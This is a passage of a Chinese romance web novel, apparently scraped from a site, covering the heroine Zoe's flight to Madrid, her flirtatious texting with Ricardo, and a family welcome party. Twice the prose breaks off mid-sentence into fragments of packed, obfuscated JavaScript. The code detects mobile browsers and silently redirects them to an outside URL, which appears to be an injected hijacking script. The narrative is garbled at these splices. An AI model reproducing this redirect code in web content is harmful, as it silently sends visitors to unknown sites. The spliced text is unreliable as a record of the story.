我无辜地眨巴着眼睛,尽力摆出一副既委屈又颇惹人怜爱的表情——这是我从YouTube上那些“如何对暧昧对象施展魅力”的视频中学到的小技巧。 效果立竿见影,里卡多的神色立刻柔和了许多,他的嘴角不自觉地挂起了一抹无奈的微笑。我在心里暗自得意,看来这招对他还挺有效。 “等会儿上高速的时候,能不能换我来开?”我自信地问。 “绝对不可以。”他冷酷地拒绝了。 - 我们准时在下午4:30抵达了坦帕机场。我戴着口罩和墨镜,尽量低调地跟在里卡多的身旁,步履谨慎,左顾右盼。 “佐伊,试着放松一些。”他一边推着我的行李,一边投来一瞥无奈的目光,“我们不是在拍摄詹姆斯·邦德电影。” “但这样真的很有间谍片的感觉。”我轻声嘟囔。 我们先前往值机柜台,里卡多贴心地帮我将舱位升级为头等舱。 “你要在空中度过十个小时。”他坚持道,“应该让自己舒适一些。” 过后,他再次认真审视了我的航班信息。“今晚你在费城转机。”他继续叮嘱,“晚上八点半到达,中转时间只有一个半小时。这时间确实有些紧张,不过你买的是联程航班,动作快些,应该能顺利赶上。接着还要经过七个小时的飞行才能抵达马德里,马德里和奥兰多有六个小时的时差,等你落地,就已经是明天中午了。会有人来接你吗?” “我表哥达尼尔会来接我。”我回答。 “就是那个很迷克里斯的表哥?” “对,就是他。他现在是个服装设计师,有自己的工作室。” 我们边走边聊,很快就来到了安检区域。里卡多停下脚步,转过身来面对我。 “有什么事就给我打电话。”他摘下了墨镜,露出那双深邃的黑褐色眼睛,“到了马德里给我发条消息,别忘了。” “我会的。”我轻声应道。 “佐伊——”他的目光越发温柔,仿佛能将我整个人淹没。我赧然地回望着他,几乎要沉浸在其中。 “把这个带上。”他突然塞给我一张卡片,我惊讶地低头一看,是一张航空联盟的会员卡,“等会儿出示给工作人员,你就能优先通过安检,然后去贵宾休息室吃点东西,你还没吃晚饭。” “谢谢。”我把卡片握在手心。 “那么,佐伊,旅途平安。愿上帝庇护你,无论你走到哪里。”他轻声道别,却一点儿也没有转身离开的意思。 我们静静地站了一会儿。 “里卡多——” “怎么啦?”他柔声回应。 他的神态可真宁静,没有微笑,只是这么静静地凝视着我,可依然几乎是带着一种深情。 我的嘴唇翕动了一下,又紧紧抿住了。 “你想说什么?”他耐心催促道,但一点也不急迫。 “我想知道——”我欲言又止,“我们这算是开始约会了吗?” 他愣了一下,眉头开始锁结,看起来在斟酌着如何回答我。 “好啦,你可以犹豫,也可以慢慢想。”我摇了摇头,尽量让他看出我的轻松,“我的意思是,我还有很长的时间,我可以一直等到——嗯,五十八岁。” “为什么是五十八岁?”他好奇地问。 “因为如果到了那时候,我们还没有在一起,我就要去做一个很酷的老太太啦。”我扮了个鬼脸,“我要去干一些非常棒的事情,比如横渡直布罗陀海峡之类的……这样,等我死后到了上帝面前,我可以告诉祂,我的一生没有遗憾,我既爱慕过一个美好的天使,也勇敢地挑战过凡人的极限。” “再见,里多卡。”我轻声说,转身向安检口走去。 9. 情话和真心 飞机滑向航站楼,把精神不振的乘客们卸在拥挤的入境大厅。大厅里人潮涌动,各种口音和语调交织在一起,仿佛是一曲无序的乐章。 我脚步匆匆,快速通过海关检查,又去行李提取转盘那儿取好行李箱,然后随着涌动的人群一点一点地向马德里机场出口走去。 佐伊:里卡多,我已经到达马德里啦。(开心.gif) 编辑完成后,我按下发送键。 短短几秒钟后,我惊讶地看到屏幕上弹出了里卡多的回复。 里卡多:好的。坐了这么久飞机,累不累? 佐伊:不是很累,我在飞机上沉沉地睡了一觉。现在奥兰多应该是凌晨5点多吧?你醒得这么早? 很快,手机屏幕再次亮起。 里卡多:我昨晚睡得很早。你表哥到了吗? 睡得很早? 佐伊:哈哈哈,你该不会是特意早睡,只为了能一早醒来收到我的消息吧? 片刻之后,手机屏幕上跳出了让我意想不到的回复。 里卡多:嗯……是的。 啊?我脸上的笑容顿然凝固,旋即,一抹淡淡的红晕悄然爬上脸颊。 佐伊:!!我去找我表哥了。 我使劲摇了摇头,试图让自己更清醒一些。 “嘿!佐伊!!看这里!这里——”前方忽然传来一个熟悉的声音。 我赶紧收起手机,循声望去,当即在接机人群中看到了挥舞着双手的达尼尔。他起码比周围人高出半个头,穿着一件米色背心,脖子上挂着一条色彩斑斓的领带。最引人注目的是,他居然顶着一头火烈鸟同款颜色的卷发! “嘿,达尼尔!”我冲他露出一个无比灿烂的笑容,匆忙绕过走在我前面的几个人,奔到他面前。 达尼尔放下挥动的手臂,热情地与我行贴面礼,随后紧紧地拥抱了我:“好久不见,佐伊!哥哥好想你呀!” 我从达尼尔的怀抱中挣扎出来,忍不住再次打量他鲜艳的头发:“这是你的新造型吗?” “怎么样,好看吗?”他显摆了一下那头玫粉色的、卷曲如波浪的秀发,手一勾,娴熟地拉过我的行李箱。 “非常时尚!简直是走在潮流尖端!”我严肃地点了点头,抿着嘴,异常努力地不让自己笑出来。 我转向站在他身旁的一位黑发帅哥——其实从刚才起,他就已经吸引了我的注意。这位帅哥身高比达尼尔还要高出几公分,有着一张浅棕色的脸膛和精心打理的络腮胡,穿一件宽松的咖色背心,露出的手臂肌肉线条分明,怀中还抱着一大捧香槟色的玫瑰花。 “你好,美丽的佐伊!”黑发帅哥友好地冲我说,轻快上前,毫不犹豫地将那捧玫瑰花送入我的手中。 “哦,谢谢!你太贴心了。”我矜持地和他贴了贴脸。 “我来介绍一下——”达尼尔亲昵地挽住黑发帅哥的手臂,在我惊愕的目光下,扭头冲着他甜蜜地笑,“这是我的男朋友,卡洛斯。” 接下来的行程中,达尼尔的手就没有从卡洛斯身上离开过。而我的行李箱也顺理成章地被卡洛斯接管。我默默地跟在他俩身后,目睹这对情侣宛如连体婴似的紧紧相依,时不时耳鬓厮磨,互相调笑几句。 我装着一肚子的好奇和纳闷,想找个机会审问达尼尔,可他俩却全程如胶似漆,让我连瞅个空儿抓住达尼尔说两句悄悄话的机会都没有。 佐伊:我现在出发去外婆家了。 我坐在车后座上,瞟了一眼前排正亲密聊天的两个男人,掏出手机给里卡多发信息。 佐伊:我正坐在我表哥的车上,司机是他的男朋友。 消息刚发出去,里卡多的回复就紧跟着出现在屏幕上。 里卡多:我在煮咖啡,你吃东西了吗? 佐伊:刚才在机场吃了热巧克力配西班牙油条,不过我几乎是食不下咽!因为这两个男人就坐在我面前卿卿我我!他们还亲嘴!亲了起码有二十分钟!感觉自己就像个超级亮的电灯泡!(尴尬.gif) 很快,手机再次震动。 里卡多:其实我正想问,是你表哥的“男性朋友”还是“男朋友”…… 我摸了摸下巴,继续回复。 佐伊:相信我,我的好奇一点儿不比你少!因为在我的记忆中,达尼尔一直都是个标准直男!他初中的时候就开始和女孩约会,告白的情书还是我帮他写的。 里卡多:你那时候几岁?已经会写情书了? 佐伊:呃,9岁。当时我抄了几段莎士比亚的十四行诗,糊弄了一下他。 佐伊:不过这不是重点,我更想知道他怎么突然就,喜欢男孩子了?这转变让我太震惊了! 里卡多:你帮他抄了莎士比亚的诗?你表哥没发现吗? 佐伊:我先把它从英语翻译成中文,再从中文翻译成西班牙语,进行了这些小小加工后,绝对无懈可击!他的第二、第三、第四……第n个女朋友也都收到过我改良版的情诗,她们都很喜欢~ 里卡多:哦……那你说给我听的那些讨人喜欢的话,也是被你“小小加工”过的? “咦?”我下意识地发出一声轻呼。 “怎么了,佐伊?”达尼尔活像一只嗅觉敏感的猎犬似的从副驾驶座上扭过头来。 “哦,没事。”我完全是出于本能,用手迅速遮住了手机屏幕,“我在和朋友聊天。”我抬头,迎上他探究的目光。 “哦——”达尼尔拉长了声音,眼神中透露出一丝怀疑,“那你脸红什么?” “有吗?”我装作若无其事的样子。 达尼尔的眼睛眯了起来,露出了一种熟悉的怀疑神色。“你该不会是在谈恋爱吧?” “当然没有!”我几乎是立刻否认,但随即意识到自己可能反应过度了。于是,我迅速调整了态度,尽量让这双蓝眼睛显得很真诚,“达尼尔,你知道的,我对同龄男生不感兴趣,我觉得他们太幼稚了!” “没错。”他深表赞许,似乎相信了我的说辞,“如果你想约会,我可以给你介绍几个不错的小伙子。说真的,西班牙的小伙子才最靠谱。至于美国人——”他转回头,从鼻子里发出一声短促的轻哼,以示不屑。 我暗暗松了一口气,重新拿起手机。 佐伊:刚才发生了一点小插曲。达尼尔忽然问我是不是谈恋爱了!吓了我一跳。(哭泣.gif) 佐伊:我说给你的话全都是发自内心的!每次看到你的眼睛,我脑海中就会情不自禁地涌出许多可爱的句子。 里卡多:你怎么回答达尼尔的? 佐伊:当然是告诉他我没有谈恋爱呀。如果达尼尔知道了,我全家人都会知道的。等等,我本来就没有谈恋爱嘛,我一点儿也不心虚! 里卡多:嗯…… “嗯”是什么意思?我咬了咬嘴唇。 里卡多:其实那些话我很喜欢。 我微微一怔,一时间有些不知所措。 里卡多:不过,我更喜欢这些情话里藏着的心。 我下意识地摸了摸脸颊,只感觉脸上有些发烫。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14956395|160973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 这位球星先生,怎么总是这样不动声色地撩拨人心,让人毫无防备,措手不及呢? 我双手捧住脸,怀疑车内的空调制冷效果是不是变差了。 佐伊:里卡多,你有没有发现,其实你很有说情话的天赋。 里卡多:那我或许还需要一个老师来指导一下。 佐伊:老师? 里卡多:嗯,需要一个老师来帮我挖掘我的天赋。对不对,佐伊老师? 佐伊:!! 恰在此时,车缓缓停下。 佐伊:我到外婆家了! 里卡多:好的,等会儿聊。 - 趁着卡洛斯正在别墅车库停车的空档,我赶紧走到达尼尔身边。 “你和卡洛斯?这是怎么回事?”我压低了嗓门问他,同时用眼角的余光留意着卡洛斯的动向。 达尼尔斜睨了我一眼,语气轻快道:“他很帅,我们约会了几次,自然而然就在一起了。” “详细说一说!”我对他这种轻描淡写的态度感到不满,“你是什么时候发现自己的性取向的?” “卡洛斯让我发现的。”他伸手摸了摸下巴,露出一个微笑,见鬼的温柔!“他是个模特,我在一场时装秀上认识了他。当时他说对我有不一样的感觉,这可着实把我吓了一跳。” 说着,他带着我朝那座红砖与白线交错的独栋别墅的大门走去。阳光慵懒地洒在小径上,为我们的身影拖出细短的影子。 “但后来我转念一想,既然当下也没什么合适的人可以约会,为什么不和这个帅哥尝试一下呢?结果我们的约会竟然出奇地愉快!” “所以,你现在不喜欢女孩子了?”我刻意放慢脚步,一步一步地迈上那短得可怜的台阶。 他皱起眉毛,轻松地提起我的行李箱。“我想我还是喜欢女孩子的。但卡洛斯是独一无二的。” 他语气笃定地下了结论,“他让我意识到,我原来也可以喜欢男人。” “我觉得这很不错。”我赞同道,“爱情不应该被性别所限制。”我回头偷瞄了一眼,卡洛斯已经开始往我们这边走来了。我迅速地把头转回来。 “外公外婆知道这件事吗?”我飞快地问了一句。 达尼尔已经把行李箱提上了石阶。“当然知道。事实上,我已经把卡洛斯介绍给他们了。”他一边伸手按响门铃,一边转过头来朝我咧嘴笑了笑,“胡安和阿尔玛比我想象的要开明。你可能是最晚知道这件事的人之一了,佐伊。” 就在这时,大门被打开了。我瞬间转开了眼睛,不再去管达尼尔,几乎是飞奔着投入了阿尔玛的怀抱。 “外婆!” “哦,我的甜心!我的小蜜糖!” 阿尔玛紧紧地搂住了我。她今年已经七十岁了,但仍然衣着精美,妆容雅致,打着卷儿的白发经过精心梳理,嗓音柔和而亲切。尽管岁月已在她的脸上留下了丝丝缕缕的痕迹,但她仍然保持着一贯的优雅。 我们亲热地互相亲吻双颊,然后我越过阿尔玛的肩膀,目光往屋内探寻,盼望能看到那个总是带着幽默笑容的高瘦小老头儿。 “你外公去超市采购,已经在回来的路上了。”阿尔玛察觉到了我的心思,笑着说,“今天下午我们为你准备了一个欢迎聚会,邀请了几位邻居,你舅舅和舅妈也会来参加。” “外公主厨吗?他的身体吃得消吗?”我吃了一惊。 “他一直规律服药,血压已经稳定了,体检也没有任何异常。放心吧,上帝的恩典常伴他左右。” 10. 摇尾巴的小狐狸 在窗边的一隅,我找到了一个描绘着花鸟图案的东方风情的陶瓷花瓶,往里面倒了些清水,用来插卡洛斯送给我的那束玫瑰花。 “这是有一年你妈妈送给我的生日礼物。”阿尔玛走过来说,“这个图案很配这束玫瑰。” “这是卡洛斯送给我的花。”我说,思绪不禁飘回到刚才的场景:达尼尔和我们告别,解释他和卡洛斯要回工作室一趟,并保证会在聚会前回来。他俩依次亲吻了我和阿尔玛,上车前他们又深情相拥,分享了一个持久的吻。 “达尼尔,我没想到他和男孩子在一起后这么……自在。”我嘟哝着。 阿尔玛宽容地笑了:“卡洛斯是个贴心的小伙子。达尼尔把他带到我和胡安面前的时候,我们确实有点惊讶,不过我们从来没见过达尼尔这么认真、这么忐忑。那个时候,我们就知道,这个调皮的小鬼头确实找到了他的爱人。” “我没想到你们会这么开明。”我放下手中的花瓶,转过身,紧紧地拥抱了阿尔玛,“我原以为——” “你以为我们会反对?”阿尔玛轻轻拍了拍我的背,“佐伊,我们爱上帝,也爱我们的家人。无论达尼尔的选择是什么,我和胡安,还有阿德里安和弗洛拉,我们都愿意尊重他,接纳他,爱他所爱的人。我相信,上帝也不会反对的。” - 我拿起手机,选了一个角度,将那束玫瑰花摄入镜头之中,随后把照片发给了里卡多。 佐伊:卡洛斯送给我的玫瑰花,美得令人心醉。不过我更喜欢它在枝头上肆意盛开的样子。唔,卡洛斯就是达尼尔的男朋友。 想到刚才和阿尔玛的谈话,我又编辑了一条信息。 佐伊:我没想到胡安和阿尔玛这么轻松地接纳了卡洛斯。我是说,他们都是虔诚的天主教徒!这真的令我很感动。达尼尔和我都太幸运了,能拥有这样一对超酷超棒的祖父母! “佐伊,要喝点咖啡吗?”胡安的声音从厨房传来,他已经从镇上的超市满载而归了。 “要的,外公,我来煮吧——”我一边提高声音回应,一边往厨房走去。 “不用了,甜心。”胡安正在厨房忙碌,他身上穿着一件洗得有些发旧的男式围裙。他在围裙上擦了擦手,又从雕刻着成串水果的桃花心木大橱柜里拿出一罐香气四溢的咖啡豆,“你外婆只喜欢喝我煮的咖啡。” “哦,上帝——”我倚在门框上,轻轻扶着额头,用夸张的语调说,“我今天见证了两对恩爱的眷侣。先是达尼尔和卡洛斯;现在又是胡安和阿尔玛。” “维持恩爱是一门艺术,就像煮咖啡一样。”胡安轻轻地摇了摇手中的咖啡豆,眼中闪过一丝调皮的光芒。 我耸了耸肩。“我大概知道你要说什么。比如,不同的豆子需要不同的火候和时间,才能煮出最香醇的味道。爱情也是如此,需要细心的照料和适宜的调整,才能持久而深远。对不对?” “我敢打赌这不是你外公想说的。”阿尔玛大声说道。她捧着一堆美丽的、用蕾丝花边装饰的桌布从厨房门外经过,正要到院子里去布置。 胡安哈哈大笑了起来。他将咖啡豆倒入研磨机中,机器转动的声音嗡嗡作响。 “你的爱情课学分已经修满了。不过,小甜瓜,光靠理论可没用,我这一手煮咖啡的本领才是维持多年恩爱的秘诀。毕竟,当我惹你外婆生气的时候,她可以没有我,但不能没有我煮的咖啡。” “……现在我至少可以确定一件事:我在这个家真多余。”我半开玩笑地说。 喝完咖啡后,我开始帮阿尔玛布置庭院。 我们在那块堆满了蕾丝花边的长方形桌布上摆上了许多精致可爱的瓷器——这些瓷器大多来自中国,是我妈妈精心挑选带回来的。 我用干净的抹布细心擦拭这些叮叮当当的餐具们,直到它们在阳光下锃光瓦亮。 阿尔玛还从庭院里剪下几朵丰润的、粉白色的圆锥绣球,巧妙地插在一个透明的闪着微光的细颈小花瓶中,当做餐桌的装饰。 接着,我回到厨房,加入胡安的烹饪行列。西班牙的饮食习惯与美国大相径庭,人们在中午通常只享用一顿轻食,而把好胃口留给从下午两点开始的正餐时间。 胡安已经处理好了各种新鲜的海鲜,正准备大展身手,制作一系列西班牙传统菜肴:醋酿凤尾鱼、土豆章鱼、墨汁小鱿鱼、泡沫海胆、蒜蓉虾以及永远不会缺席的海鲜饭。 而我的任务则是制作番茄冷汤、酱汁肉丸、蜂蜜茄子和苹果酒烩香肠,这对我来说是一次不小的挑战。 当达尼尔和卡洛斯把头探进厨房的时候,我正一边照看着锅里滋滋作响的油炸香肠,一边手忙脚乱地调制着可乐红酒——一种需要将红酒和可乐按1:1比例混合的饮品。 “需要帮忙吗?”他们的声音简直犹如天籁。 “太需要了!卡洛斯,或许你可以去院子里找阿尔玛,她那里有一堆气球需要吹起来。达尼尔,劳驾,你能来调一下柠檬啤酒吗?”我连忙示意达尼尔去切柠檬,随后往那锅炸好的香肠里加入了小半瓶苹果酒,浓郁的果香瞬间弥漫开来。 等到菜肴终于准备齐全后,我才恍然发现,里卡多已经给我发了好几条消息。 里卡多:对家人无私的爱,是主希望我们能拥有的。我和你外祖父母的看法一致,对主的信仰应该使我们更宽容、更友爱、更平等地看待这个世界。 里卡多:(发送了一张图片)。 里卡多:营养师为我新制定的健康早餐,除了“很健康”,似乎没有更多值得夸赞的地方…… 里卡多:佐伊,你在忙吗? 忙碌到连你的信息都无暇顾及了,我懊恼地连忙点开对话框。 佐伊:抱歉,我们在为下午的聚会做准备。阿尔玛说只邀请了几个亲朋好友,但我猜测来的远不止“几个”,西班牙人对聚会的热情总是难以估量…… 我们的好厨娘索菲亚这几天休假去了,我想念她的土豆鸡蛋饼(悲伤.gif)。所以我们只能亲自上阵,还好胡安的厨艺相当不错。我一直在厨房帮胡安的忙,直到现在才抽出空来回你的消息。顺便说一句,你的早餐看起来确实营养均衡,绿色含量很高。 我把做好的丰盛菜肴拍照发给他,然后端起装满饮料和酒水的铜质刻花托盘,径直穿过厨房门口的走廊,跨过门槛,走进庭院里。 午后的太阳宛如一只巨大的漏斗,将金光一股脑儿地倾泻在那修剪得整整齐齐的草坪和铺砌得规规矩矩的砖地上。整个庭院仿佛被笼罩在一片金色的光辉之中。 环绕着庭院的低矮木栅栏已经被青翠欲滴的常春藤所覆盖,上面系满了五彩斑斓的气球。它们有的在迎风起舞,有的与周围的常绿灌木嬉戏缠绵,还有的正忙着追逐绣球花和朱槿花那优雅的花蕾——正在栅栏边的阴凉之地低垂欲放。 餐桌上,新鲜的水果已经摆放整齐,显得色彩缤纷,香气诱人。 阿尔玛正坐在藤椅上,兴高采烈地指挥着两个年轻人把最后一组气球挂起来。 我小心翼翼地将托盘放到餐桌上,确保每一壶饮料都稳稳当当。 就在我抬起头的时候,达尼尔巧妙地闪到了挂满绿色果子的橘子树旁,仿佛是特意为了给我让出视线。 我的目光随即被那组横挂着的左右相连的字母气球吸引,它们在空中轻盈地摇摆着,组成了一句长长的话—— “欢迎我们的小甜心佐伊!” 而卡洛斯正在把气球的另一端牢牢地系到另一棵橘子树的枝桠上。 “小甜心佐伊!”达尼尔对我挤了挤眼,手指轻点着那些气球。他绝对是在幸灾乐祸! 我板起脸。“谢谢你,达尼尔。”我从牙缝里挤出这句话。 我不想理他,因为我的手机紧贴着大腿震动了两下,里卡多的消 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14956396|160973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 息无疑更要紧,我不想把时间浪费在和达尼尔互斗唇舌上。 我在角落里找了一张有靠背的藤椅坐下,故意离所有人都有点距离,然后掏出手机,开始看新消息。 里卡多:没关系。(微笑.gif)你的忙碌很有成效,这些西班牙美食看起来非常美味,尤其是那盘肉丸和香肠,格外诱人。 佐伊:哇哦,好眼光!因为这两道菜正好是我做的啦。 里卡多:哈哈,那真的很巧。 佐伊:不过,我觉得我能猜出巧合背后的原因,要不要听? 里卡多:洗耳恭听。 佐伊:你有没有留意到,满桌的海鲜和蔬菜中,只有两盘肉类。你精准地把它们都挑出来了,这说明你真的好喜欢吃肉啊里多卡,哈哈哈!!而我呢,是因为不会做海鲜,所以被打发去处理肉类和蔬菜了。这样看来,巧合的背后存在着必然。 里卡多:嗯,机智的推理。你现在转头,往身后看一看。 佐伊:啊?看什么? 我有些摸不着头脑,狐疑地扭头看了看,身后是一树丛的翠绿。 里卡多:看看是不是长出小尾巴来了,而且摇得正得意。 佐伊:…… 里卡多:我也有个推理。你要不要听? 佐伊:……不要。 里卡多:我猜你刚才真的朝后看了。 佐伊:…… 佐伊:里卡多!!你学坏了!!! 里卡多:摇尾巴的是小狗还是小狐狸? 佐伊:…… 佐伊:我选择小狐狸。我要咬人!压制不住我想要咬某人的心啦!! 里卡多:唔,那我是不是应该去打狂犬疫苗?毕竟狐狸也是犬科动物。 佐伊:!! 里卡多:哈哈,本来还想继续逗你,可我得去换衣服了,等会儿要出门去基地训练。晚点见,爱咬人的小狐狸。 佐伊:(咬牙切齿.gif) 佐伊:好的。小狐狸这就去听《TheFox》了。 我脸上的红晕还未褪去,便放下了手机。一抬头,却意外地对上了达尼尔的目光。 似乎经过了很漫长的一会儿——我们面面相觑,一眨也不眨。 “你,你在这儿干嘛?”我终于回过神来,结结巴巴地问他。 “观察你。”达尼尔回答。他坐在我正对面,上身微微前倾,右手托着腮,扁杏仁形状的眼睛里流露出领悟的神色。 “你恋爱了。”他的话不是疑问,而是一个笃定的陈述。 “没有。”我木着脸,对他的说法嗤之以鼻,“你干嘛不去找卡洛斯。”我不耐烦地说,目光一转,看到卡洛斯正和阿尔玛在桌旁,对那些印花瓷器津津乐道。 “从机场回来的时候我就怀疑了。”达尼尔若有所思,“谁会一个人坐在后座捧着手机傻笑?除非是陷入恋爱的傻瓜。” 我斜睨了他一眼:“从中学时就开始谈恋爱,前女友能组成一只足球队的人,没资格这么说。” “他是谁?是你的大学同学?一个美国蠢货?”他丝毫不理会我的嘲讽,紧追不舍地问道。 “别瞎猜,”我犹豫了一下,决定对他透露一点无关紧要的信息,“他是巴西人。我们甚至都还没开始约会。” “进度这么慢?”达尼尔扬了扬眉毛,“我现在怀疑他真是个蠢货了。” “管好你的嘴。”我的眉毛拧成一团,警告他,“还有,别让我听到你在阿尔玛他们面前胡说八道。” “小傻瓜,现在是你有把柄落在我手上。”达尼尔狡猾地溜了我一眼。 我扯了扯嘴角:“卡洛斯今早送了我一束玫瑰,我还没找到合适的礼物回赠。你觉得《达尼尔青春期腻歪情诗合集》如何?” 他干笑了两声:“这个礼物听起来有点……嗯,缺乏新意。咱们还是别闹了,佐伊。停战,停战。” 11. 桃子先生 下午两点钟刚过,我的舅舅和舅妈——达尼尔的父母——就作为第一批客人抵达了。 “佐伊小甜瓜——”弗洛拉热情似火,张开双臂紧紧拥抱了我,她的双唇在我脸颊上落下重重一吻,紧接着便是一连串如珠般的亲切问候,“美国的生活怎么样?有没有在学校里结识新的朋友?那边的饮食还习惯吗?有没有和男孩子出去约会呀……” 好在,随着其他宾客陆续登门,我总算从弗洛拉这连番的 “轰炸式” 提问中暂时解脱出来,匆忙前往门厅迎接各位客人。 庭院里现在聚集了十多位宾客,除了弗洛拉和阿德里安,还有我们的邻居们: 一对在金融界声名斐然的银行家夫妇,他们领着两个可爱的女儿一同前来。大一点的那个和我交情不错,小一点的总是寸步不离地跟在姐姐身后,像个乖巧的小尾巴; 一位已经退休的口腔医生,我小时候曾在她那里接受过牙齿护理,每次见到我,老太太都会习惯性地评估我的牙齿状况; 一位赫赫有名的交响乐团指挥和他那位气质优雅的夫人,还有借住在他们家的外甥——一个沉默寡言的青年画家,总是沉浸在自己的艺术世界里; 最后是议员一家,他们家的几个孩子和我从小就认识。 用餐前,大家共同祈祷,然后举杯欢迎了我。精心准备的菜肴受到了一致好评,长辈们对每道菜都赞不绝口,年轻人则对我和达尼尔调制的酒水情有独钟。 而在餐后甜点环节,阿尔玛端出了一盘点缀着粉红色糖霜的玫瑰味巴斯克芝士蛋糕和一碟碟香甜诱人的焦糖奶冻,它们完美征服了所有人的味蕾。 饭后,我安闲地半躺在橘子树下的躺椅里,茂密的树冠像一把天然的遮阳伞,把无处不在的阳光严严实实地挡在外面。 客人们围坐在餐桌旁,在午后轻柔拂过的暖风中,悠然自得地喝酒、闲聊、放声大笑,玩着纸牌游戏,尽情消遣曼妙时光。 夏蝉喋喋不休地在枝头鸣叫着,我渐渐开始打起瞌睡来。 “你真像雷诺阿画中的那位少女。”一个飘忽而微弱的声音传来,打断了我的睡意。 “什么?”我精神一震,视线逐渐明朗,看到那个名叫拉斐尔的年轻画家正站在树下。 “浓密蓬松的长发,蓝宝石般的眼睛,柔软白皙的肌肤……”他怔怔地低语,目光迷离。 “你说的是那幅《小艾琳》。”我恍然大悟。 “你应该继续陷在蒙眬中。”他神色忧郁地瞥了我一眼。 “抱歉?” 他叹了一口气,转身走开。 “氛围女神离开了。构图,光影,感觉……”他的声音在微风中散开。 我困惑地盯着他,没搞明白是怎么回事。 “一个古怪的家伙,别搭理他。”议员家的大儿子尼诺从树后走了出来,他矮下肩膀,避开了一根低垂的长树枝,“他是个与世隔绝的怪人,从来不和人交谈。他今天会出现在这儿倒让我吃了一惊。” “艺术家总有些怪癖。”我说,看到画家已经走到了另一棵橘子树下,继续伫立、沉思,“或许他只是太过腼腆了。” “嗨,别管他了。佐伊,自从我去美国上大学后,我们好像有三年多没见面了。听说你现在也在美国?”尼诺在树干上找了个舒服的位置倚着,双手交叉抱在胸前,摆出了一副潇洒的姿态。但实际上,他太瘦长了,又生着张长脸,这让他看起来更像是一根靠在树上的芦苇。 我忍不住打了个哈欠,点了点头。 “你在哪个城市?”他兴致勃勃地问。 “芝加哥。” “那可有点远,是不是?我在加利福尼亚州,洛杉矶,你应该知道我的学校,南加州大学,我当时拿到了一笔不菲的奖学金,我爸爸很为我骄傲。当然,那时候我也有其他选择,但是,以我的能力,最适合我的无疑是……”他如同打开了话匣子一般,滔滔不绝地讲述着,而我已经开始感到一丝厌烦,隐隐后悔刚才没有留住拉斐尔。 我用手把自己撑起来,皱着眉,盯着脚边的草地看。草坪修剪得十分平整,想必胡安在几天前就请园丁仔细打理过了。 “……刚才在前厅见到你,我差点没认出来,心想,哇哦,这还是那个苍白瘦弱的混血小姑娘吗?简直大变样了!你小时候可有点古怪,也没现在这么漂亮。不过你妈妈就是个大美人,我早该想到——” 他怎么还在说个不停?难道他嘴里装了个弹簧之类的东西,一旦启动就停不下来? “嘿,尼诺,我说——”我愁眉苦脸地打断他,“你要不要过去加入他们玩牌?” 他错愕地闭上了嘴,那表情仿佛被人迎面打了一拳似的。“哦!”他叫了一声,声音里带着显而易见的疑惑和失望。 我挤出一个萎靡不振的微笑。“你瞧,我本来想在这儿打个瞌睡呢。” 他登时脸臊得通红。“抱歉,打扰到你了,我想起我还得去……”他含糊地说了一句,转过身去,匆匆忙忙地走了。 终于,我得以独享这份宁静。我重新放松身体,惬意地靠在躺椅上。眯起眼睛,鼻间满是橘子未成熟的青涩味道。 我掏出手机,把它高举起来,平行于我的面庞。此时此刻,我很想和里卡多说说话。 于是,我给他发了一条消息: 里卡多,此刻我躺在橘子树下,马德里夏日的风干燥、和暖,没有海风的咸味。我躺在橘子树下,我的头发里浸透了青绿微黄的酸涩。我想告诉你这一切,没有什么特别的原因,只是想告诉你,就像我毫无理由、一刻不停地在想念你。 - 这场聚会在下午三点半结束了,宾主尽欢,就连忧郁的拉斐尔也不例外。他在与阿尔玛行贴面礼时,神情诚挚,语气轻柔地对她说:“我很喜欢今天的午餐,是一种莫奈式的缤纷,您制作的甜品极其美妙。” 我和达尼尔相视而笑,阿尔玛的甜品总是令人无法抗拒。 客人走后,胡安和阿尔玛上楼去午睡,阿德里安和弗洛拉要开半小时车去市区上班。而我,与达尼尔、卡洛斯一起,开始收拾餐具。 达尼尔仍不死心,总想从我这儿打听到里卡多的信息,他戏称他为“佐伊的心爱男孩”,试图来恶心我。 事实上,你要是知道了他是谁,准得惊掉下巴。我暗暗想。 “所以呢,他是在美国上学?还是工作?”卡洛斯好奇地问,此时他正有条不紊地把餐盘挨个放入洗碗机中。 手中的厨刀在水流下闪着银光,我一边冲洗,一边回答他:“工作。” “为什么每次我问你,得到的都是‘无可奉告’,卡洛斯一问,你就回答了?”达尼尔抱怨道。 “因为卡洛斯正和我一起忙碌,而你却坐在那儿悠闲地喝咖啡。”我不屑道。 他尴尬地摸了摸鼻子,辩解道:“我这不是在等你们忙完,好来擦桌子嘛。” “你们是怎么认识的?”卡洛斯继续问,达尼尔夸张地朝他打了个“佩服”的手势。 我手中的动作稍微停顿了一下,淡淡地回答:“旅行的时候遇到的。”我说得很模糊。 达尼尔吹了个响亮的口哨,调侃道:“哇哦,听起来挺罗曼蒂克的。我猜,他对你一见钟情,然后对你穷追不舍?” “嗯,事实上——”我露出一丝微细的笑意,把厨刀一把一把整齐地放回原位,“我对他一见钟情。他真的是个大帅哥。” “拉丁人?”卡洛斯按下洗碗机的启动键,转头看向我问道。 我点点头,随手关上水龙头。“他真的很帅。”我又重复了一遍,露出明晃晃的皓齿,“非常英俊,让我第一眼就怦然心动。而且他拥有我喜欢的那种气质——很斯文,很温柔。” 